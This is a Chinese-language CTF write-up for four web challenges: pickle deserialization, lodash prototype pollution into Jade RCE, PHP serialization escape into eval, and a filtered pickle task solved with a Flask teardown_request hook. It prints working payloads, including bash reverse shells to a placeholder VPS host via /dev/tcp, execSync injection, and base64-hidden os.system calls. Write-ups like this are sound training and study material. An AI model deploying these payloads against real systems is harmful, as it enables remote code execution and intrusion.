前言
好久没写过比赛的wp了，黄河流域的web出的不错，挺有意思了，花了点时间，也是成功的ak了
myfavorPython
注册登录，一个base64输入框，猜测pickle反序列化，简单测试下，返回的数据是pickletools.dis解析的opcode结构，猜测其实已经load了，但是没回显，写个反弹shell的opcode：
import pickle import base64 class Exp(object): def __reduce__(self): return (os.system,("bash -c "bash -i >&/dev/tcp/vps/ip 0>&1"",)) a = Exp() print(base64.b64encode(pickle.dumps(a))) 发送，拿到shell，cat flag
Ezzz_Proto
const express = require('express'); const lodash = require('lodash'); const path = require('path'); var bodyParser = require('body-parser'); const app = express(); var router = express.Router(); app.set('view engine', 'jade'); app.set('views', path.join(__dirname, 'views')); app.use(bodyParser.json({ extended: true })); app.get('/',function (req, res) { res.send('Hello World'); }) app.post('/post',function (req, res) { function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } } var malicious_payload = JSON.stringify(req.body); var body = JSON.parse(JSON.stringify(req.body)); var a = {}; merge(a, JSON.parse(malicious_payload)); console.log(a.name); res.render('index.jade', { title: 'HTML', name: a.name || '' }); }) app.listen(1113, () => console.log('Example app listening on port http://127.0.0.1:1113 !')) 阅读源码，merge处可原型链污染，这里用的jade引擎，应该可以打jade的rce，简单找了个payload，{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/vps/ip 0>&1"'))"}}，没打通，追踪一下流程，前面的一切正常，追踪到complie处
compile: function(){ this.buf = []; if (this.pp) this.buf.push("var jade_indent = [];"); this.lastBufferedIdx = -1; this.visitCode(this.node); if (!this.dynamicMixins) { // if there are no dynamic mixins we can remove any un-used mixins var mixinNames = Object.keys(this.mixins); for (var i = 0; i < mixinNames.length; i++) { var mixin = this.mixins[mixinNames[i]]; if (!mixin.used) { for (var x = 0; x < mixin.instances.length; x++) { for (var y = mixin.instances[x].start; y < mixin.instances[x].end; y++) { this.buf[y] = ''; } } } } } return this.buf.join('n'); }, 这里使用的是visitCode去查AST树，上面的payload满足的是使用visit去查，跟进一下，设置val的值为恶意代码即可
visitCode: function(code){ // Wrap code blocks with {}. // we only wrap unbuffered code blocks ATM // since they are usually flow control // Buffer code if (code.buffer) { var val = code.val.trim(); val = 'null == (jade_interp = '+val+') ? "" : jade_interp'; if (code.escape) val = 'jade.escape(' + val + ')'; this.bufferExpression(val); } else { this.buf.push(code.val); } // Block support if (code.block) { if (!code.buffer) this.buf.push('{'); this.visit(code.block); if (!code.buffer) this.buf.push('}'); } }, 所以最终的payload为：{"__proto__":{"compileDebug":1,"self":1,"val":"console.log(global.process.mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/vps/port 0>&1"'))"}}
拿到shell，cat flag
逃跑大师
<?php highlight_file(__FILE__); error_reporting(0); function substrstr($data) { $start = mb_strpos($data, "["); $end = mb_strpos($data, "]"); return mb_substr($data, $start, $end + 1 - $start); } class A{ public $A; public $B = "HELLO"; public $C = "!!!"; public function __construct($A){ $this->A = $A; } public function __destruct(){ $key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]"); echo $key; eval($key); } } if(isset($_POST['escape'])) { $Class = new A($_POST['escape']); $Key = serialize($Class); $K = str_replace("SDPCSEC", "SanDieg0", $Key); unserialize($K); } else{ echo "nonono"; } nonono 反序列化逃逸，利用点在eval($_key)，我们得控制$key的值，$key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]"); 我们逃逸可以控制$B和$C的值，分析一下substrstr函数，根据[,] 的位置来截取字符串，这里有点讲究，这里假设$C=1，后面拼接了[welcome sdpcsec1]18个字符，我们截取到-18即可，控制$end=0，$start=19，即]111111111111111111[phpinfo()]; ，这样就能成功执行phpinfo，接下来看逃逸，增量逃逸，简单构造下逃逸的字符串：";s:1:"B";s:41:"]111111111111111111[system("cat /flag")];";s:1:"C";s:1:"1";} ,长76，在前面加上76个SDPCSEC ，post拿到flag
Python-revenge
import base64 import io import os import pickle import pickletools import sys from flask import Flask, render_template, request, redirect, url_for, session from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user app = Flask(__name__) app.secret_key = 'welcome_to_here' # 修改为一个随机的密钥 # 初始化 Flask-Login login_manager = LoginManager() login_manager.init_app(app) login_manager.login_view = 'login' # 模拟一个用户类 class User(UserMixin): def __init__(self, id): self.id = id # 模拟用户数据库 users = {'user_id': {'password': 'user_password', 'role': 'user'}, 'admin_id': {'password': 'asdfghjkl', 'role': 'admin'}} @login_manager.user_loader def load_user(user_id): return User(user_id) @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] user_data = users.get(username) if user_data and user_data.get('password') == password: user = User(username) login_user(user) session['role'] = 'admin' if username == 'admin_id' else 'user' return render_template('index.html') return render_template('login.html') @app.route('/logout') @login_required def logout(): logout_user() session.pop('role', None) return redirect(url_for('login')) @app.route('/', methods=['GET', 'POST']) @login_required def index(): results = "" if request.method == 'POST': a = request.form['text'] output = io.StringIO() try: decoded_data = base64.b64decode(a) if b'before' in decoded_data or b'after' in decoded_data: results = "不可以添加函数！" return render_template("index.html",results=results) elif b'static' in decoded_data or b'>' in decoded_data or b'|' in decoded_data or b'/' in decoded_data or b'template' in decoded_data: results = "不能写文件嗷！" return render_template("index.html",results=results) else: pickle.loads(decoded_data) with io.StringIO() as file: old_stdout = sys.stdout sys.stdout = file try: pickletools.dis(decoded_data) finally: sys.stdout = old_stdout results = file.getvalue() except: results = "error" return render_template('index.html', results=results) else: return render_template('index.html') @app.route('/register', methods=['GET', 'POST']) def register(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] # 检查用户名是否已存在 if username in users: return "用户名已存在，请选择其他用户名" # 创建新用户 users[username] = {'password': password, 'role': 'user'} # 登录新用户 user = User(username) login_user(user) return redirect(url_for('index')) return render_template('register.html') if __name__ == '__main__': app.config['SESSION_COOKIE_NAME'] = 'session' app.run(host='0.0.0.0', port=5000) 逻辑跟第一道web题一样，不过这次不出网，而且还有黑名单，常规的内存马写法被限制的死死的，翻阅源码的钩子函数，找到个teardown_request，这个函数会在每次request后执行，即使抛出异常也会执行（在debug=False）的情况下，简单构造一下：app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))
base64的数据为：cat flag.txt > /app/static/flag.txt
import pickle import base64 class Exp(object): def __reduce__(self): return (eval,("app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))",)) a = Exp() print(pickle.dumps(a)) print(base64.b64encode(pickle.dumps(a))) post数据，访问/static/flag.txt拿到flag
